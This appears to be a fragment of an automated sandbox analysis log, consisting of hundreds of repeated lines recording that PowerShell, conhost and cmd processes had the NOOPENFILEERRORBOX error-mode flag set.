    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
